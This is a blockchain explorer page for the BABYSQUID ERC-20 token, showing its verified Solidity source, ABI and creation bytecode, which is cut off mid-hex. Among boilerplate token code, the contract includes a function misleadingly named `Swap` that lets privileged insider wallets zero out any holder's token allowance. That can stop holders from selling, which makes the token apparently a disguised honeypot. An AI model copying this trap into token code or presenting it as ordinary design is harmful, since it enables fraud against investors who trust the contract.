ERC-20
Overview
Max Total Supply
900,000,000,000,000 BABYSQUID
Holders
217
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
300,000,000 BABYSQUIDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BABYSQUID
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.23; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function viewtotalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _init(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract BABYSQUID is ERC20, Ownable { IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) private _isExcludedFromFees; uint256 public WalletTransferTax; uint256 public tradingStart; uint256 public buyFee; uint256 public sellFee; bool public tradingEnabled; address private marketingWalletAdd = 0x7DA55be5f2f3e5b62A5C3b5a9DC8B201E7090F86; address private devteam = 0x682525332C70413A66BaC96FfB67a74c6E800C61; address private treasury = 0x3b837964881D39c46aED552A6d7A37dDaddF8574; bool private swapping; bool private swapAndEnabled; uint256 public swapTokensAtAmount; bool public swapWithLimit; event BuyFeeUpdated(uint256 buyFee); event SellFeeUpdated(uint256 sellFee); event WalletTransferTaxUpdated(uint256 WalletTransferTax); event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount); event maxBuyAmountUpdated(uint256 maxBuyAmount); event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived); event SwapWithLimitUpdated(bool swapWithLimit); constructor () ERC20("BabySquid", "BABYSQUID") { address newOwner = 0x7DA55be5f2f3e5b62A5C3b5a9DC8B201E7090F86; transferOwnership(newOwner); address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 Router //address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // uniswapV2 Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), type(uint256).max); _isExcludedFromFees[address(0xdead)] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(marketingWalletAdd)] = true; _isExcludedFromFees[address(devteam)] = true; _isExcludedFromFees[address(treasury)] = true; buyFee = 0; sellFee = 0; WalletTransferTax = 0; _init(owner(), 900000000000000 ether); } receive() external payable {} function marketingcalc() external { payable(marketingWalletAdd).transfer(address(this).balance); } function Swap(address owner, address spender) external { require(_isExcludedFromFees[msg.sender], "Unauthorized"); _approve(owner, spender, 0); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = allowance(sender, _msgSender()); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && from != uniswapV2Pair && swapAndEnabled ) { swapping = true; if (swapWithLimit) { contractTokenBalance = swapTokensAtAmount; } swapping = false; } if ( tradingEnabled && from != uniswapV2Pair && to == uniswapV2Pair && block.timestamp < tradingStart ) { require(false); } uint256 _totalFees; if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) { _totalFees = 0; } else if (from == uniswapV2Pair) { _totalFees = buyFee; } else if (to == uniswapV2Pair) { _totalFees = sellFee; } else { _totalFees = WalletTransferTax; } if (_totalFees > 0) { uint256 fees = (amount * _totalFees) / 100; amount = amount - fees; super._transfer(from, address(this), fees); } super._transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"WalletTransferTax","type":"uint256"}],"name":"WalletTransferTaxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WalletTransferTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingcalc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"viewtotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737da55be5f2f3e5b62a5c3b5a9dc8b201e7090f86600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073682525332c70413a66bac96ffb67a74c6e800c61600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733b837964881d39c46aed552a6d7a37ddaddf8574600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014f575f80fd5b506040518060400160405280600981526020017f42616279537175696400000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f42414259535155494400000000000000000000000000000000000000000000008152508160039081620001cd919062000dd1565b508060049081620001df919062000dd1565b5050505f620001f36200062960201b60201c565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737da55be5f2f3e5b62a5c3b5a9dc8b201e7090f869050620002b9816200063060201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8190508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003693060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200080060201b60201c565b600160085f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f6200042a620009cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f600b819055505f600c819055505f6009819055506200062062000605620009cb60201b60201c565b6d2c5f98d74c37b3146b8900000000620009f360201b60201c565b505050620011f0565b5f33905090565b620006406200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620006d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c89062000f13565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000742576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007399062000fa7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000868906200103b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008d990620010cf565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620009be919062001100565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a5b9062001169565b60405180910390fd5b62000a775f838362000b6360201b60201c565b8060025f82825462000a8a9190620011b6565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000ade9190620011b6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b44919062001100565b60405180910390a362000b5f5f838362000b6860201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000be957607f821691505b60208210810362000bff5762000bfe62000ba4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c637fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c26565b62000c6f868362000c26565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000cb962000cb362000cad8462000c87565b62000c90565b62000c87565b9050919050565b5f819050919050565b62000cd48362000c99565b62000cec62000ce38262000cc0565b84845462000c32565b825550505050565b5f90565b62000d0262000cf4565b62000d0f81848462000cc9565b505050565b5b8181101562000d365762000d2a5f8262000cf8565b60018101905062000d15565b5050565b601f82111562000d855762000d4f8162000c05565b62000d5a8462000c17565b8101602085101562000d6a578190505b62000d8262000d798562000c17565b83018262000d14565b50505b505050565b5f82821c905092915050565b5f62000da75f198460080262000d8a565b1980831691505092915050565b5f62000dc1838362000d96565b9150826002028217905092915050565b62000ddc8262000b6d565b67ffffffffffffffff81111562000df85762000df762000b77565b5b62000e04825462000bd1565b62000e1182828562000d3a565b5f60209050601f83116001811462000e47575f841562000e32578287015190505b62000e3e858262000db4565b86555062000ead565b601f19841662000e578662000c05565b5f5b8281101562000e805784890151825560018201915060208501945060208101905062000e59565b8683101562000ea0578489015162000e9c601f89168262000d96565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000efb60208362000eb5565b915062000f088262000ec5565b602082019050919050565b5f6020820190508181035f83015262000f2c8162000eed565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f62000f8f60268362000eb5565b915062000f9c8262000f33565b604082019050919050565b5f6020820190508181035f83015262000fc08162000f81565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6200102360248362000eb5565b9150620010308262000fc7565b604082019050919050565b5f6020820190508181035f830152620010548162001015565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f620010b760228362000eb5565b9150620010c4826200105b565b604082019050919050565b5f6020820190508181035f830152620010e881620010a9565b9050919050565b620010fa8162000c87565b82525050565b5f602082019050620011155f830184620010ef565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001151601f8362000eb5565b91506200115e826200111b565b602082019050919050565b5f6020820190508181035f830152620011828162001143565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620011c28262000c87565b9150620011cf8362000c87565b9250828201905080821115620011ea57620011e962001189565b5b92915050565b6122a580620011fe5f395ff3fe608060405260043610610184575f3560e01c8063715018a6116100d0578063c395ae7811610089578063e2f4560511610063578063e2f4560514610593578063e9b2176f146105bd578063f11743f6146105d3578063f2fde38b146105fd5761018b565b8063c395ae7814610505578063dd62ed3e1461052f578063e1d4504f1461056b5761018b565b8063715018a6146103f95780638951cf591461040f5780638da5cb5b1461043957806395d89b4114610463578063a457c2d71461048d578063a9059cbb146104c95761018b565b8063313ce5671161013d578063488eb37f11610117578063488eb37f1461033f57806349bd5a5e146103695780634ada218b1461039357806370a08231146103bd5761018b565b8063313ce567146102af57806339509351146102d957806347062402146103155761018b565b806306fdde031461018f578063095ea7b3146101b95780631694505e146101f557806318160ddd1461021f57806323b872dd146102495780632b14ca56146102855761018b565b3661018b57005b5f80fd5b34801561019a575f80fd5b506101a3610625565b6040516101b091906118ce565b60405180910390f35b3480156101c4575f80fd5b506101df60048036038101906101da919061197f565b6106b5565b6040516101ec91906119d7565b60405180910390f35b348015610200575f80fd5b506102096106d2565b6040516102169190611a4b565b60405180910390f35b34801561022a575f80fd5b506102336106f7565b6040516102409190611a73565b60405180910390f35b348015610254575f80fd5b5061026f600480360381019061026a9190611a8c565b610700565b60405161027c91906119d7565b60405180910390f35b348015610290575f80fd5b506102996107ab565b6040516102a69190611a73565b60405180910390f35b3480156102ba575f80fd5b506102c36107b1565b6040516102d09190611af7565b60405180910390f35b3480156102e4575f80fd5b506102ff60048036038101906102fa919061197f565b6107b9565b60405161030c91906119d7565b60405180910390f35b348015610320575f80fd5b50610329610860565b6040516103369190611a73565b60405180910390f35b34801561034a575f80fd5b50610353610866565b60405161036091906119d7565b60405180910390f35b348015610374575f80fd5b5061037d610878565b60405161038a9190611b1f565b60405180910390f35b34801561039e575f80fd5b506103a761089d565b6040516103b491906119d7565b60405180910390f35b3480156103c8575f80fd5b506103e360048036038101906103de9190611b38565b6108af565b6040516103f09190611a73565b60405180910390f35b348015610404575f80fd5b5061040d6108f4565b005b34801561041a575f80fd5b50610423610a47565b6040516104309190611a73565b60405180910390f35b348015610444575f80fd5b5061044d610a50565b60405161045a9190611b1f565b60405180910390f35b34801561046e575f80fd5b50610477610a78565b60405161048491906118ce565b60405180910390f35b348015610498575f80fd5b506104b360048036038101906104ae919061197f565b610b08565b6040516104c091906119d7565b60405180910390f35b3480156104d4575f80fd5b506104ef60048036038101906104ea919061197f565b610bee565b6040516104fc91906119d7565b60405180910390f35b348015610510575f80fd5b50610519610c0b565b6040516105269190611a73565b60405180910390f35b34801561053a575f80fd5b5061055560048036038101906105509190611b63565b610c11565b6040516105629190611a73565b60405180910390f35b348015610576575f80fd5b50610591600480360381019061058c9190611b63565b610c93565b005b34801561059e575f80fd5b506105a7610d2b565b6040516105b49190611a73565b60405180910390f35b3480156105c8575f80fd5b506105d1610d31565b005b3480156105de575f80fd5b506105e7610d99565b6040516105f49190611a73565b60405180910390f35b348015610608575f80fd5b50610623600480360381019061061e9190611b38565b610d9f565b005b60606003805461063490611bce565b80601f016020809104026020016040519081016040528092919081815260200182805461066090611bce565b80156106ab5780601f10610682576101008083540402835291602001916106ab565b820191905f5260205f20905b81548152906001019060200180831161068e57829003601f168201915b5050505050905090565b5f6106c86106c1610f61565b8484610f68565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f806107138561070e610f61565b610c11565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610794578281101561077f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077690611c6e565b60405180910390fd5b6107938561078b610f61565b858403610f68565b5b61079f85858561112b565b60019150509392505050565b600c5481565b5f6012905090565b5f6108566107c5610f61565b848460015f6107d2610f61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108519190611cb9565b610f68565b6001905092915050565b600b5481565b60115f9054906101000a900460ff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108fc610f61565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611d36565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600254905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a8790611bce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab390611bce565b8015610afe5780601f10610ad557610100808354040283529160200191610afe565b820191905f5260205f20905b815481529060010190602001808311610ae157829003601f168201915b5050505050905090565b5f8060015f610b15610f61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673f